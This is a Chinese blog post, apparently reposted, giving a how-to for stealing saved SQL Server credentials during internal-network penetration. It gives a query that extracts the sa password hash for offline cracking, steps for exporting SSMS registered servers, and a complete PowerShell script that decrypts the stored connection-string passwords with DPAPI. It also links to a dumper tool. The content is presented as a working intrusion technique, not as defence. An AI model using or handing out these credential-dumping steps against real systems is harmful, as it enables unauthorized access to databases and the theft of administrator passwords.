• 三种方式获取SSMS连接密码


    内网渗透是有的时候会遇到对方SSMS没断开连接正连着别的机器的mssql此时有两种方法可以获取sa密码

    当密码强度较弱时可以使用第一只方式,第一种方式解不开的情况下可以使用后面二种方式

    1.直接查询sa密码hash

    使用如下语句:

    Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'

    直接得到sa密码hash

    image.png

    上cmd5解密

    image.png

    2.使用SSMS的注册导出功能

    右键点击,然后选择注册

    image.png

    点击保存

    image.png

    点击识图然后点击已注册服务器

    image.png

    然后右键选择任务,然后导出

    image.png

    这个记得别勾,点确定

    image.png

    然后使用powershell脚本解密

    param(
    [Parameter(Mandatory=$true)]
    [string] $FileName
    )
    Add-Type -AssemblyName System.Security
    $ErrorActionPreference = 'Stop'
    function Unprotect-String([string] $base64String)
    {
    return
    [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String
    ), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
    }
    $document = [xml] (Get-Content $FileName)
    $nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable)
    $nsm.AddNamespace('rs', 'http://schemas.microsoft.com/sqlserver/RegisteredServers/2007/08')
    $attr = $document.DocumentElement.GetAttribute('plainText')
    if ($attr -ne '' -and $Operation -ieq 'Decrypt')
    {
    throw "The file does not contain encrypted passwords."
    }
    $servers = $document.SelectNodes("//rs:RegisteredServer", $nsm)
    foreach ($server in $servers)
    {
    $connString = $server.ConnectionStringWithEncryptedPassword.InnerText
    echo ""
    echo "Encrypted Connection String:"
    echo $connString
    echo ""
    if ($connString -inotmatch 'password="?([^";]+)"?') {continue}
    $password = $Matches[1]
    $password = Unprotect-String $password
    echo ""
    echo "Decrypted Connection String:"
    $connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`""
    echo $connString
    echo ""
    }
    

    image.png

    3.导出SSMS记住的密码

    http://www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html

    https://github.com/zcgonvh/SSMSPwd

  • 相关阅读:
    Spring定时任务注解实现定时清空指定文件夹下的文件
    设计模式之单例模式
    在cmd下使用imp命令导入oracle的dmp文件报错ORA-02304
    多态是什么干嘛的
    qt编辑器的问题
    qt中文格式GBK.UTF-8,unicode 之间的转换
    mysql 安装及设置
    mysql触发器
    转载 java开发基础 https://blog.csdn.net/jiangjiewudi/article/details/9565749
    测试 转载
  • 原文地址:https://www.cnblogs.com/cwkiller/p/13867044.html
Copyright © 2020-2023  润新知